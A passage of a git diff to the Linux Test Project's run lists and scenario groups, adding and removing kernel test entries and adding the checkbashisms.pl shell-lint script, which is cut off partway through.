 ping01 ping01.sh
 ping02 ping02.sh
 sendfile sendfile01.sh
+tc01 tc01.sh
 tcpdump tcpdump01.sh
 telnet telnet01.sh
 iptables iptables01.sh
diff --git a/runtest/net_stress.broken_ip b/runtest/net_stress.broken_ip
index ca71c3e..a5536c0 100644
--- a/runtest/net_stress.broken_ip
+++ b/runtest/net_stress.broken_ip
@@ -3,15 +3,15 @@
 #
 
 # Broken IP packet
-broken_ip4-version broken_ip-version
-broken_ip4-ihl broken_ip-ihl
-broken_ip4-totlen broken_ip-totlen
-broken_ip4-fragment broken_ip-fragment
-broken_ip4-protcol broken_ip-protcol
-broken_ip4-checksum broken_ip-checksum
-broken_ip4-dstaddr broken_ip-dstaddr
+broken_ip4-version broken_ip-version.sh
+broken_ip4-ihl broken_ip-ihl.sh
+broken_ip4-fragment broken_ip-fragment.sh
+broken_ip4-plen broken_ip-plen.sh
+broken_ip4-protcol broken_ip-protcol.sh
+broken_ip4-checksum broken_ip-checksum.sh
+broken_ip4-dstaddr broken_ip-dstaddr.sh
 
-broken_ip6-dstaddr broken_ip-dstaddr -6
-broken_ip6-nexthdr broken_ip-nexthdr -6
-broken_ip6-plen broken_ip-plen -6
-broken_ip6-version broken_ip-version -6
+broken_ip6-dstaddr broken_ip-dstaddr.sh -6
+broken_ip6-nexthdr broken_ip-nexthdr.sh -6
+broken_ip6-plen broken_ip-plen.sh -6
+broken_ip6-version broken_ip-version.sh -6
diff --git a/runtest/numa b/runtest/numa
index 7b9c2ae..3b9a9a7 100644
--- a/runtest/numa
+++ b/runtest/numa
@@ -20,3 +20,4 @@
 set_mempolicy02 set_mempolicy02
 set_mempolicy03 set_mempolicy03
 set_mempolicy04 set_mempolicy04
+set_mempolicy05 set_mempolicy05
diff --git a/runtest/pty b/runtest/pty
index a43b18f..df20741 100644
--- a/runtest/pty
+++ b/runtest/pty
@@ -4,6 +4,8 @@
 pty03 pty03
 pty04 pty04
 pty05 pty05
+pty06 pty06
+pty07 pty07
 ptem01 ptem01
 hangup01 hangup01
 
diff --git a/runtest/sched b/runtest/sched
index bfc4f27..5928987 100644
--- a/runtest/sched
+++ b/runtest/sched
@@ -6,6 +6,7 @@
 time-schedule01		time-schedule
 trace_sched01		trace_sched -c 1
 
+cfs_bandwidth01 cfs_bandwidth01 -i 5
 hackbench01 hackbench 50 process 1000
 hackbench02 hackbench 20 thread 1000
 
diff --git a/runtest/smoketest b/runtest/smoketest
index 7f39593..83eebfe 100644
--- a/runtest/smoketest
+++ b/runtest/smoketest
@@ -12,5 +12,7 @@
 utime01A symlink01 -T utime01
 rename01A symlink01 -T rename01
 splice02 splice02 -s 20
-route4-change-dst route-change-dst.sh
+df01_sh df01.sh
 shell_test01 echo "SUCCESS" | shell_pipe01.sh
+ping602 ping02.sh -6
+macsec02 macsec02.sh
diff --git a/runtest/staging b/runtest/staging
new file mode 100644
index 0000000..88dcea7
--- /dev/null
+++ b/runtest/staging
@@ -0,0 +1,2 @@
+# Tests for features that are not yet in the stable kernel ABI
+fanotify23 fanotify23
diff --git a/runtest/syscalls b/runtest/syscalls
index 54b90d4..21c5b5e 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -43,6 +43,8 @@
 bpf_prog03 bpf_prog03
 bpf_prog04 bpf_prog04
 bpf_prog05 bpf_prog05
+bpf_prog06 bpf_prog06
+bpf_prog07 bpf_prog07
 
 brk01 brk01
 brk02 brk02
@@ -63,9 +65,7 @@
 
 chmod01 chmod01
 chmod01A symlink01 -T chmod01
-chmod02 chmod02
 chmod03 chmod03
-chmod04 chmod04
 chmod05 chmod05
 chmod06 chmod06
 chmod07 chmod07
@@ -136,6 +136,7 @@
 creat06 creat06
 creat07 creat07
 creat08 creat08
+creat09 creat09
 
 delete_module01 delete_module01
 delete_module02 delete_module02
@@ -154,18 +155,31 @@
 dup203 dup203
 dup204 dup204
 dup205 dup205
+dup206 dup206
+dup207 dup207
 
 dup3_01 dup3_01
 dup3_02 dup3_02
 
+epoll_create01 epoll_create01
+epoll_create02 epoll_create02
 epoll_create1_01 epoll_create1_01
+epoll_create1_02 epoll_create1_02
 epoll01 epoll-ltp
 epoll_ctl01 epoll_ctl01
 epoll_ctl02 epoll_ctl02
+epoll_ctl03 epoll_ctl03
+epoll_ctl04 epoll_ctl04
+epoll_ctl05 epoll_ctl05
 epoll_wait01 epoll_wait01
 epoll_wait02 epoll_wait02
 epoll_wait03 epoll_wait03
+epoll_wait04 epoll_wait04
 epoll_pwait01 epoll_pwait01
+epoll_pwait02 epoll_pwait02
+epoll_pwait03 epoll_pwait03
+epoll_pwait04 epoll_pwait04
+epoll_pwait05 epoll_pwait05
 
 eventfd01 eventfd01
 
@@ -183,6 +197,7 @@
 execve03 execve03
 execve04 execve04
 execve05 execve05 -i 5 -n 32
+execve06 execve06
 execvp01 execvp01
 execveat01 execveat01
 execveat02 execveat02
@@ -322,6 +337,8 @@
 fcntl37_64 fcntl37_64
 fcntl38 fcntl38
 fcntl38_64 fcntl38_64
+fcntl39 fcntl39
+fcntl39_64 fcntl39_64
 
 fdatasync01 fdatasync01
 fdatasync02 fdatasync02
@@ -357,7 +374,7 @@
 fork09 fork09
 fork10 fork10
 fork11 fork11
-fork13 fork13 -i 1000000
+fork13 fork13
 fork14 fork14
 
 fpathconf01 fpathconf01
@@ -573,6 +590,8 @@
 inotify08 inotify08
 inotify09 inotify09
 inotify10 inotify10
+inotify11 inotify11
+inotify12 inotify12
 
 fanotify01 fanotify01
 fanotify02 fanotify02
@@ -593,6 +612,9 @@
 fanotify17 fanotify17
 fanotify18 fanotify18
 fanotify19 fanotify19
+fanotify20 fanotify20
+fanotify21 fanotify21
+fanotify22 fanotify22
 
 ioperm01 ioperm01
 ioperm02 ioperm02
@@ -606,14 +628,20 @@
 ioprio_set03 ioprio_set03
 
 io_cancel01 io_cancel01
+io_cancel02 io_cancel02
 io_destroy01 io_destroy01
+io_destroy02 io_destroy02
 io_getevents01 io_getevents01
+io_getevents02 io_getevents02
 
 io_pgetevents01 io_pgetevents01
 io_pgetevents02 io_pgetevents02
 
 io_setup01 io_setup01
+io_setup02 io_setup02
 io_submit01 io_submit01
+io_submit02 io_submit02
+io_submit03 io_submit03
 
 keyctl01 keyctl01
 keyctl02 keyctl02
@@ -623,6 +651,7 @@
 keyctl06 keyctl06
 keyctl07 keyctl07
 keyctl08 keyctl08
+keyctl09 keyctl09
 
 kcmp01 kcmp01
 kcmp02 kcmp02
@@ -638,6 +667,7 @@
 kill10 kill10
 kill11 kill11
 kill12 kill12
+kill13 kill13
 
 lchown01 lchown01
 lchown01_16 lchown01_16
@@ -654,8 +684,6 @@
 link03 link03
 link04 link04
 link05 link05
-link06 link06
-link07 link07
 link08 link08
 
 #linkat test cases
@@ -692,6 +720,8 @@
 
 mallinfo02 mallinfo02
 
+mallinfo2_01 mallinfo2_01
+
 mallopt01 mallopt01
 
 mbind01 mbind01
@@ -777,6 +807,8 @@
 mount05 mount05
 mount06 mount06
 
+mount_setattr01 mount_setattr01
+
 move_mount01 move_mount01
 move_mount02 move_mount02
 
@@ -877,7 +909,6 @@
 open02 open02
 open03 open03
 open04 open04
-open05 open05
 open06 open06
 open07 open07
 open08 open08
@@ -928,9 +959,13 @@
 personality01 personality01
 personality02 personality02
 
+pidfd_getfd01 pidfd_getfd01
+pidfd_getfd02 pidfd_getfd02
+
 pidfd_open01 pidfd_open01
 pidfd_open02 pidfd_open02
 pidfd_open03 pidfd_open03
+pidfd_open04 pidfd_open04
 
 pidfd_send_signal01 pidfd_send_signal01
 pidfd_send_signal02 pidfd_send_signal02
@@ -975,8 +1010,6 @@
 pread01_64 pread01_64
 pread02 pread02
 pread02_64 pread02_64
-pread03 pread03
-pread03_64 pread03_64
 
 preadv01 preadv01
 preadv01_64 preadv01_64
@@ -1002,6 +1035,7 @@
 
 prot_hsymlinks prot_hsymlinks
 dirtyc0w dirtyc0w
+dirtypipe dirtypipe
 
 pselect01 pselect01
 pselect01_64 pselect01_64
@@ -1052,6 +1086,8 @@
 quotactl05 quotactl05
 quotactl06 quotactl06
 quotactl07 quotactl07
+quotactl08 quotactl08
+quotactl09 quotactl09
 
 read01 read01
 read02 read02
@@ -1074,7 +1110,6 @@
 
 readv01 readv01
 readv02 readv02
-readv03 readv03
 
 realpath01 realpath01
 
@@ -1099,7 +1134,6 @@
 
 rename01 rename01
 rename01A symlink01 -T rename01
-rename02 rename02
 rename03 rename03
 rename04 rename04
 rename05 rename05
@@ -1380,6 +1414,8 @@
 setsockopt05 setsockopt05
 setsockopt06 setsockopt06
 setsockopt07 setsockopt07
+setsockopt08 setsockopt08
+setsockopt09 setsockopt09
 
 settimeofday01 settimeofday01
 settimeofday02 settimeofday02
@@ -1411,11 +1447,11 @@
 shmdt01 shmdt01
 shmdt02 shmdt02
 
-shmget01 shmget01
 shmget02 shmget02
 shmget03 shmget03
 shmget04 shmget04
 shmget05 shmget05
+shmget06 shmget06
 
 sigaction01 sigaction01
 sigaction02 sigaction02
@@ -1540,22 +1576,11 @@
 sysfs03 sysfs03
 sysfs04 sysfs04
 sysfs05 sysfs05
-sysfs06 sysfs06
 
 sysinfo01 sysinfo01
 sysinfo02 sysinfo02
 sysinfo03 sysinfo03
 
-syslog01 syslog01
-syslog02 syslog02
-syslog03 syslog03
-syslog04 syslog04
-syslog05 syslog05
-syslog06 syslog06
-syslog07 syslog07
-syslog08 syslog08
-syslog09 syslog09
-syslog10 syslog10
 syslog11 syslog11
 syslog12 syslog12
 
@@ -1635,7 +1660,6 @@
 
 umount2_01 umount2_01
 umount2_02 umount2_02
-umount2_03 umount2_03
 
 userfaultfd01 userfaultfd01
 
@@ -1672,6 +1696,7 @@
 
 wait401 wait401
 wait402 wait402
+wait403 wait403
 
 waitpid01 waitpid01
 waitpid02 waitpid02
@@ -1689,12 +1714,22 @@
 
 waitid01 waitid01
 waitid02 waitid02
+waitid03 waitid03
+waitid04 waitid04
+waitid05 waitid05
+waitid06 waitid06
+waitid07 waitid07
+waitid08 waitid08
+waitid09 waitid09
+waitid10 waitid10
+waitid11 waitid11
 
 write01 write01
 write02 write02
 write03 write03
 write04 write04
 write05 write05
+write06 write06
 
 writev01 writev01
 writev02 writev02
@@ -1713,6 +1748,9 @@
 futex_wait03 futex_wait03
 futex_wait04 futex_wait04
 futex_wait05 futex_wait05
+futex_waitv01 futex_waitv01
+futex_waitv02 futex_waitv02
+futex_waitv03 futex_waitv03
 futex_wake01 futex_wake01
 futex_wake02 futex_wake02
 futex_wake03 futex_wake03
@@ -1735,8 +1773,13 @@
 statx05 statx05
 statx06 statx06
 statx07 statx07
+statx08 statx08
+statx09 statx09
 
 membarrier01 membarrier01
 
 io_uring01 io_uring01
 io_uring02 io_uring02
+
+# Tests below may cause kernel memory leak
+perf_event_open03 perf_event_open03
diff --git a/runtest/syscalls-ipc b/runtest/syscalls-ipc
index 68fff40..b758158 100644
--- a/runtest/syscalls-ipc
+++ b/runtest/syscalls-ipc
@@ -64,8 +64,8 @@
 shmdt01 shmdt01
 shmdt02 shmdt02
 
-shmget01 shmget01
 shmget02 shmget02
 shmget03 shmget03
 shmget04 shmget04
 shmget05 shmget05
+shmget06 shmget06
diff --git a/runtest/watchqueue b/runtest/watchqueue
new file mode 100644
index 0000000..bd6b0a4
--- /dev/null
+++ b/runtest/watchqueue
@@ -0,0 +1,9 @@
+wqueue01 wqueue01
+wqueue02 wqueue02
+wqueue03 wqueue03
+wqueue04 wqueue04
+wqueue05 wqueue05
+wqueue06 wqueue06
+wqueue07 wqueue07
+wqueue08 wqueue08
+wqueue09 wqueue09
diff --git a/scenario_groups/default b/scenario_groups/default
index 439783d..68bd530 100644
--- a/scenario_groups/default
+++ b/scenario_groups/default
@@ -6,6 +6,7 @@
 io
 mm
 ipc
+irq
 sched
 math
 nptl
@@ -29,3 +30,4 @@
 crypto
 kernel_misc
 uevent
+watchqueue
diff --git a/scenario_groups/network b/scenario_groups/network
index 4682950..974b9fc 100644
--- a/scenario_groups/network
+++ b/scenario_groups/network
@@ -4,7 +4,6 @@
 net.ipv6_lib
 net.tcp_cmds
 net.multicast
-net.rpc
 net.nfs
 net.rpc_tests
 net.tirpc_tests
diff --git a/scripts/abspath.sh b/scripts/abspath.sh
deleted file mode 100755
index f086248..0000000
--- a/scripts/abspath.sh
+++ /dev/null
@@ -1,30 +0,0 @@
-#!/bin/sh
-#
-#    make 3.81 $(abspath .. ) emulation layer
-#
-#    Copyright (C) 2010, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, January 2010
-#
-
-. "${0%/*}/lib/file_functions.sh"
-
-while [ $# -gt 0 ] ; do
-	echo -n $(_abspath "$1")
-	[ $# -gt 1 ] && echo -n " "
-	shift
-done
diff --git a/scripts/checkbashisms.pl b/scripts/checkbashisms.pl
new file mode 100755
index 0000000..ba417c9
--- /dev/null
+++ b/scripts/checkbashisms.pl
@@ -0,0 +1,816 @@
+#!/usr/bin/perl
+
+# This script is essentially copied from /usr/share/lintian/checks/scripts,
+# which is:
+#   Copyright (C) 1998 Richard Braakman
+#   Copyright (C) 2002 Josip Rodin
+# This version is
+#   Copyright (C) 2003 Julian Gilbey
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+use strict;
+use warnings;
+use Getopt::Long qw(:config bundling permute no_getopt_compat);
+use File::Temp qw/tempfile/;
+
+sub init_hashes;
+
+(my $progname = $0) =~ s|.*/||;
+
+my $usage = <<"EOF";
+Usage: $progname [-n] [-f] [-x] [-e] script ...
+   or: $progname --help
+   or: $progname --version
+This script performs basic checks for the presence of bashisms
+in /bin/sh scripts and the lack of bashisms in /bin/bash ones.
+EOF
+
+my $version = <<"EOF";
+This is $progname, from the Debian devscripts package, version 2.20.5
+This code is copyright 2003 by Julian Gilbey <jdg\@debian.org>,
+based on original code which is copyright 1998 by Richard Braakman
+and copyright 2002 by Josip Rodin.
+This program comes with ABSOLUTELY NO WARRANTY.
+You are free to redistribute this code under the terms of the
+GNU General Public License, version 2, or (at your option) any later version.
+EOF
+
+my ($opt_echo, $opt_force, $opt_extra, $opt_posix, $opt_early_fail);
+my ($opt_help, $opt_version);
+my @filenames;
+
+# Detect if STDIN is a pipe
+if (scalar(@ARGV) == 0 && (-p STDIN or -f STDIN)) {
+    push(@ARGV, '-');
+}
+
+##
+## handle command-line options
+##
+$opt_help = 1 if int(@ARGV) == 0;
+
+GetOptions(
+    "help|h"       => \$opt_help,
+    "version|v"    => \$opt_version,
+    "newline|n"    => \$opt_echo,
+    "force|f"      => \$opt_force,
+    "extra|x"      => \$opt_extra,
+    "posix|p"      => \$opt_posix,
+    "early-fail|e" => \$opt_early_fail,
+  )
+  or die
+"Usage: $progname [options] filelist\nRun $progname --help for more details\n";
+
+if ($opt_help)    { print $usage;   exit 0; }
+if ($opt_version) { print $version; exit 0; }
+
+$opt_echo = 1 if $opt_posix;
+
+my $mode     = 0;
+my $issues   = 0;
+my $status   = 0;
+my $makefile = 0;
+my (%bashisms, %string_bashisms, %singlequote_bashisms);
+
+my $LEADIN
+  = qr'(?:(?:^|[`&;(|{])\s*|(?:(?:if|elif|while)(?:\s+!)?|then|do|shell)\s+)';
+init_hashes;
+
+my @bashisms_keys             = sort keys %bashisms;
+my @string_bashisms_keys      = sort keys %string_bashisms;
+my @singlequote_bashisms_keys = sort keys %singlequote_bashisms;
+
+foreach my $filename (@ARGV) {
+    my $check_lines_count = -1;
+
+    my $display_filename = $filename;
+
+    if ($filename eq '-') {
+        my $tmp_fh;
+        ($tmp_fh, $filename)
+          = tempfile("chkbashisms_tmp.XXXX", TMPDIR => 1, UNLINK => 1);
+        while (my $line = <STDIN>) {
+            print $tmp_fh $line;
+        }
+        close($tmp_fh);
+        $display_filename = "(stdin)";
+    }
+
+    if (!$opt_force) {
+        $check_lines_count = script_is_evil_and_wrong($filename);
+    }
+
+    if ($check_lines_count == 0 or $check_lines_count == 1) {
+        warn
+"script $display_filename does not appear to be a /bin/sh script; skipping\n";
+        next;
+    }
+
+    if ($check_lines_count != -1) {
+        warn
+"script $display_filename appears to be a shell wrapper; only checking the first "
+          . "$check_lines_count lines\n";
+    }
+
+    unless (open C, '<', $filename) {
+        warn "cannot open script $display_filename for reading: $!\n";
+        $status |= 2;
+        next;
+    }
+
+    $issues = 0;
+    $mode   = 0;
+    my $cat_string         = "";
+    my $cat_indented       = 0;
+    my $quote_string       = "";
+    my $last_continued     = 0;
+    my $continued          = 0;
+    my $found_rules        = 0;
+    my $buffered_orig_line = "";
+    my $buffered_line      = "";
+    my %start_lines;
+
+    while (<C>) {
+        next unless ($check_lines_count == -1 or $. <= $check_lines_count);
+
+        if ($. == 1) {    # This should be an interpreter line
+            if (m,^\#!\s*(?:\S+/env\s+)?(\S+),) {
+                my $interpreter = $1;
+
+                if ($interpreter =~ m,(?:^|/)make$,) {
+                    init_hashes if !$makefile++;
+                    $makefile = 1;
+                } else {
+                    init_hashes if $makefile--;
+                    $makefile = 0;
+                }
+                next if $opt_force;
+
+                if ($interpreter =~ m,(?:^|/)bash$,) {
+                    $mode = 1;
+                } elsif ($interpreter !~ m,(?:^|/)(sh|dash|posh)$,) {
+### ksh/zsh?
+                    warn
+"script $display_filename does not appear to be a /bin/sh script; skipping\n";
+                    $status |= 2;
+                    last;
+                }
+            } else {
+                warn
+"script $display_filename does not appear to have a \#! interpreter line;\nyou may get strange results\n";
+            }
+        }
+
+        chomp;
+        my $orig_line = $_;
+
+        # We want to remove end-of-line comments, so need to skip
+        # comments that appear inside balanced pairs
+        # of single or double quotes
+
+        # Remove comments in the "quoted" part of a line that starts
+        # in a quoted block? The problem is that we have no idea
+        # whether the program interpreting the block treats the
+        # quote character as part of the comment or as a quote
+        # terminator. We err on the side of caution and assume it
+        # will be treated as part of the comment.
+        # s/^(?:.*?[^\\])?$quote_string(.*)$/$1/ if $quote_string ne "";
+
+        # skip comment lines
+        if (   m,^\s*\#,
+            && $quote_string eq ''
+            && $buffered_line eq ''
+            && $cat_string eq '') {
+            next;
+        }
+
+        # Remove quoted strings so we can more easily ignore comments
+        # inside them
+        s/(^|[^\\](?:\\\\)*)\'(?:\\.|[^\\\'])+\'/$1''/g;
+        s/(^|[^\\](?:\\\\)*)\"(?:\\.|[^\\\"])+\"/$1""/g;
+
+        # If inside a quoted string, remove everything before the quote
+        s/^.+?\'//
+          if ($quote_string eq "'");
+        s/^.+?[^\\]\"//
+          if ($quote_string eq '"');
+
+        # If the remaining string contains what looks like a comment,
+        # eat it. In either case, swap the unmodified script line
+        # back in for processing.
+        if (m/(?:^|[^[\\])[\s\&;\(\)](\#.*$)/) {
+            $_ = $orig_line;
+            s/\Q$1\E//;    # eat comments
+        } else {
+            $_ = $orig_line;
+        }
+
+        # Handle line continuation
+        if (!$makefile && $cat_string eq '' && m/\\$/) {
+            chop;
+            $buffered_line      .= $_;
+            $buffered_orig_line .= $orig_line . "\n";
+            next;
+        }
+
+        if ($buffered_line ne '') {
+            $_                  = $buffered_line . $_;
+            $orig_line          = $buffered_orig_line . $orig_line;
+            $buffered_line      = '';
+            $buffered_orig_line = '';
+        }
+
+        if ($makefile) {
+            $last_continued = $continued;
+            if (/[^\\]\\$/) {
+                $continued = 1;
+            } else {
+                $continued = 0;
+            }
+
+            # Don't match lines that look like a rule if we're in a
+            # continuation line before the start of the rules
+            if (/^[\w%-]+:+\s.*?;?(.*)$/
+                and !($last_continued and !$found_rules)) {
+                $found_rules = 1;
+                $_           = $1 if $1;
+            }
+
+            last
+              if m%^\s*(override\s|export\s)?\s*SHELL\s*:?=\s*(/bin/)?bash\s*%;
+
+            # Remove "simple" target names
+            s/^[\w%.-]+(?:\s+[\w%.-]+)*::?//;
+            s/^\t//;
+            s/(?<!\$)\$\((\w+)\)/\${$1}/g;
+            s/(\$){2}/$1/g;
+            s/^[\s\t]*[@-]{1,2}//;
+        }
+
+        if (
+            $cat_string ne ""
+            && (m/^\Q$cat_string\E$/
+                || ($cat_indented && m/^\t*\Q$cat_string\E$/))
+        ) {
+            $cat_string = "";
+            next;
+        }
+        my $within_another_shell = 0;
+        if (m,(^|\s+)((/usr)?/bin/)?((b|d)?a|k|z|t?c)sh\s+-c\s*.+,) {
+            $within_another_shell = 1;
+        }
+        # if cat_string is set, we are in a HERE document and need not
+        # check for things
+        if ($cat_string eq "" and !$within_another_shell) {
+            my $found       = 0;
+            my $match       = '';
+            my $explanation = '';
+            my $line        = $_;
+
+            # Remove "" / '' as they clearly aren't quoted strings
+            # and not considering them makes the matching easier
+            $line =~ s/(^|[^\\])(\'\')+/$1/g;
+            $line =~ s/(^|[^\\])(\"\")+/$1/g;
+
+            if ($quote_string ne "") {
+                my $otherquote = ($quote_string eq "\"" ? "\'" : "\"");
+                # Inside a quoted block
+                if ($line =~ /(?:^|^.*?[^\\])$quote_string(.*)$/) {
+                    my $rest     = $1;
+                    my $templine = $line;
+
+                    # Remove quoted strings delimited with $otherquote
+                    $templine
+                      =~ s/(^|[^\\])$otherquote[^$quote_string]*?[^\\]$otherquote/$1/g;
+                    # Remove quotes that are themselves quoted
+                    # "a'b"
+                    $templine
+                      =~ s/(^|[^\\])$otherquote.*?$quote_string.*?[^\\]$otherquote/$1/g;
+                    # "\""
+                    $templine
+                      =~ s/(^|[^\\])$quote_string\\$quote_string$quote_string/$1/g;
+
+                    # After all that, were there still any quotes left?
+                    my $count = () = $templine =~ /(^|[^\\])$quote_string/g;
+                    next if $count == 0;
+
+                    $count = () = $rest =~ /(^|[^\\])$quote_string/g;
+                    if ($count % 2 == 0) {
+                        # Quoted block ends on this line
+                        # Ignore everything before the closing quote
+                        $line         = $rest || '';
+                        $quote_string = "";
+                    } else {
+                        next;
+                    }
+                } else {
+                    # Still inside the quoted block, skip this line
+                    next;
+                }
+            }
+
+            # Check even if we removed the end of a quoted block
+            # in the previous check, as a single line can end one
+            # block and begin another
+            if ($quote_string eq "") {
+                # Possible start of a quoted block
+                for my $quote ("\"", "\'") {
+                    my $templine   = $line;
+                    my $otherquote = ($quote eq "\"" ? "\'" : "\"");
+
+                    # Remove balanced quotes and their content
+                    while (1) {
+                        my ($length_single, $length_double) = (0, 0);
+
+                        # Determine which one would match first:
+                        if ($templine
+                            =~ m/(^.+?(?:^|[^\\\"](?:\\\\)*)\')[^\']*\'/) {
+                            $length_single = length($1);
+                        }
+                        if ($templine
+                            =~ m/(^.*?(?:^|[^\\\'](?:\\\\)*)\")(?:\\.|[^\\\"])+\"/
+                        ) {
+                            $length_double = length($1);
+                        }
+
+                        # Now simplify accordingly (shorter is preferred):
+                        if (
+                            $length_single != 0
+                            && (   $length_single < $length_double
+                                || $length_double == 0)
+                        ) {
+                            $templine =~ s/(^|[^\\\"](?:\\\\)*)\'[^\']*\'/$1/;
+                        } elsif ($length_double != 0) {
+                            $templine
+                              =~ s/(^|[^\\\'](?:\\\\)*)\"(?:\\.|[^\\\"])+\"/$1/;
+                        } else {
+                            last;
+                        }
+                    }
+
+                    # Don't flag quotes that are themselves quoted
+                    # "a'b"
+                    $templine =~ s/$otherquote.*?$quote.*?$otherquote//g;
+                    # "\""
+                    $templine =~ s/(^|[^\\])$quote\\$quote$quote/$1/g;
+                    # \' or \"
+                    $templine =~ s/\\[\'\"]//g;
+                    my $count = () = $templine =~ /(^|(?!\\))$quote/g;
+
+                    # If there's an odd number of non-escaped
+                    # quotes in the line it's almost certainly the
+                    # start of a quoted block.
+                    if ($count % 2 == 1) {
+                        $quote_string = $quote;
+                        $start_lines{'quote_string'} = $.;
+                        $line =~ s/^(.*)$quote.*$/$1/;
+                        last;
+                    }
+                }
+            }
+
+            # since this test is ugly, I have to do it by itself
+            # detect source (.) trying to pass args to the command it runs
+            # The first expression weeds out '. "foo bar"'
+            if (    not $found
+                and not
+m/$LEADIN\.\s+(\"[^\"]+\"|\'[^\']+\'|\$\([^)]+\)+(?:\/[^\s;]+)?)\s*(\&|\||\d?>|<|;|\Z)/o
+                and m/$LEADIN(\.\s+[^\s;\`:]+\s+([^\s;]+))/o) {
+                if ($2 =~ /^(\&|\||\d?>|<)/) {
+                    # everything is ok
+                    ;
+                } else {
+                    $found       = 1;
+                    $match       = $1;
+                    $explanation = "sourced script with arguments";
+                    output_explanation($display_filename, $orig_line,
+                        $explanation);
+                }
+            }
+
+            # Remove "quoted quotes". They're likely to be inside
+            # another pair of quotes; we're not interested in
+            # them for their own sake and removing them makes finding
+            # the limits of the outer pair far easier.
+            $line =~ s/(^|[^\\\'\"])\"\'\"/$1/g;
+            $line =~ s/(^|[^\\\'\"])\'\"\'/$1/g;
+
+            foreach my $re (@singlequote_bashisms_keys) {
+                my $expl = $singlequote_bashisms{$re};
+                if ($line =~ m/($re)/) {
+                    $found       = 1;
+                    $match       = $1;
+                    $explanation = $expl;
+                    output_explanation($display_filename, $orig_line,
+                        $explanation);
+                }
+            }
+
+            my $re = '(?<![\$\\\])\$\'[^\']+\'';
+            if ($line =~ m/(.*)($re)/o) {
+                my $count = () = $1 =~ /(^|[^\\])\'/g;
+                if ($count % 2 == 0) {
+                    output_explanation($display_filename, $orig_line,
+                        q<$'...' should be "$(printf '...')">);
+                }
+            }
+
+            # $cat_line contains the version of the line we'll check
+            # for heredoc delimiters later. Initially, remove any
+            # spaces between << and the delimiter to make the following
+            # updates to $cat_line easier. However, don't remove the
+            # spaces if the delimiter starts with a -, as that changes
+            # how the delimiter is searched.
+            my $cat_line = $line;
+            $cat_line =~ s/(<\<-?)\s+(?!-)/$1/g;
+
+            # Ignore anything inside single quotes; it could be an
+            # argument to grep or the like.
+            $line =~ s/(^|[^\\\"](?:\\\\)*)\'(?:\\.|[^\\\'])+\'/$1''/g;
+
+            # As above, with the exception that we don't remove the string
+            # if the quote is immediately preceded by a < or a -, so we
+            # can match "foo <<-?'xyz'" as a heredoc later
+            # The check is a little more greedy than we'd like, but the
+            # heredoc test itself will weed out any false positives
+            $cat_line =~ s/(^|[^<\\\"-](?:\\\\)*)\'(?:\\.|[^\\\'])+\'/$1''/g;
+
+            $re = '(?<![\$\\\])\$\"[^\"]+\"';
+            if ($line =~ m/(.*)($re)/o) {
+                my $count = () = $1 =~ /(^|[^\\])\"/g;
+                if ($count % 2 == 0) {
+                    output_explanation($display_filename, $orig_line,
+                        q<$"foo" should be eval_gettext "foo">);
+                }
+            }
+
+            foreach my $re (@string_bashisms_keys) {
+                my $expl = $string_bashisms{$re};
+                if ($line =~ m/($re)/) {
+                    $found       = 1;
+                    $match       = $1;
+                    $explanation = $expl;
+                    output_explanation($display_filename, $orig_line,
+                        $explanation);
+                }
+            }
+
+            # We've checked for all the things we still want to notice in
+            # double-quoted strings, so now remove those strings as well.
+            $line     =~ s/(^|[^\\\'](?:\\\\)*)\"(?:\\.|[^\\\"])+\"/$1""/g;
+            $cat_line =~ s/(^|[^<\\\'-](?:\\\\)*)\"(?:\\.|[^\\\"])+\"/$1""/g;
+            foreach my $re (@bashisms_keys) {
+                my $expl = $bashisms{$re};
+                if ($line =~ m/($re)/) {
+                    $found       = 1;
+                    $match       = $1;
+                    $explanation = $expl;
+                    output_explanation($display_filename, $orig_line,
+                        $explanation);
+                }
+            }
+            # This check requires the value to be compared, which could
+            # be done in the regex itself but requires "use re 'eval'".
+            # So it's better done in its own
+            if ($line =~ m/$LEADIN((?:exit|return)\s+(\d{3,}))/o && $2 > 255) {
+                $explanation = 'exit|return status code greater than 255';
+                output_explanation($display_filename, $orig_line,
+                    $explanation);
+            }
+
+            # Only look for the beginning of a heredoc here, after we've
+            # stripped out quoted material, to avoid false positives.
+            if ($cat_line
+                =~ m/(?:^|[^<])\<\<(\-?)\s*(?:(?!<|'|")((?:[^\s;>|]+(?:(?<=\\)[\s;>|])?)+)|[\'\"](.*?)[\'\"])/
+            ) {
+                $cat_indented = ($1 && $1 eq '-') ? 1 : 0;
+                my $quoted = defined($3);
+                $cat_string = $quoted ? $3 : $2;
+                unless ($quoted) {
+                    # Now strip backslashes. Keep the position of the
+                    # last match in a variable, as s/// resets it back
+                    # to undef, but we don't want that.
+                    my $pos = 0;
+                    pos($cat_string) = $pos;
+                    while ($cat_string =~ s/\G(.*?)\\/$1/) {
+                        # position += length of match + the character
+                        # that followed the backslash:
+                        $pos += length($1) + 1;
+                        pos($cat_string) = $pos;
+                    }
+                }
+                $start_lines{'cat_string'} = $.;
+            }
+        }
+    }
+
+    warn
+"error: $display_filename:  Unterminated heredoc found, EOF reached. Wanted: <$cat_string>, opened in line $start_lines{'cat_string'}\n"
+      if ($cat_string ne '');
+    warn
+"error: $display_filename: Unterminated quoted string found, EOF reached. Wanted: <$quote_string>, opened in line $start_lines{'quote_string'}\n"
+      if ($quote_string ne '');
+    warn "error: $display_filename: EOF reached while on line continuation.\n"
+      if ($buffered_line ne '');
+
+    close C;
+
+    if ($mode && !$issues) {
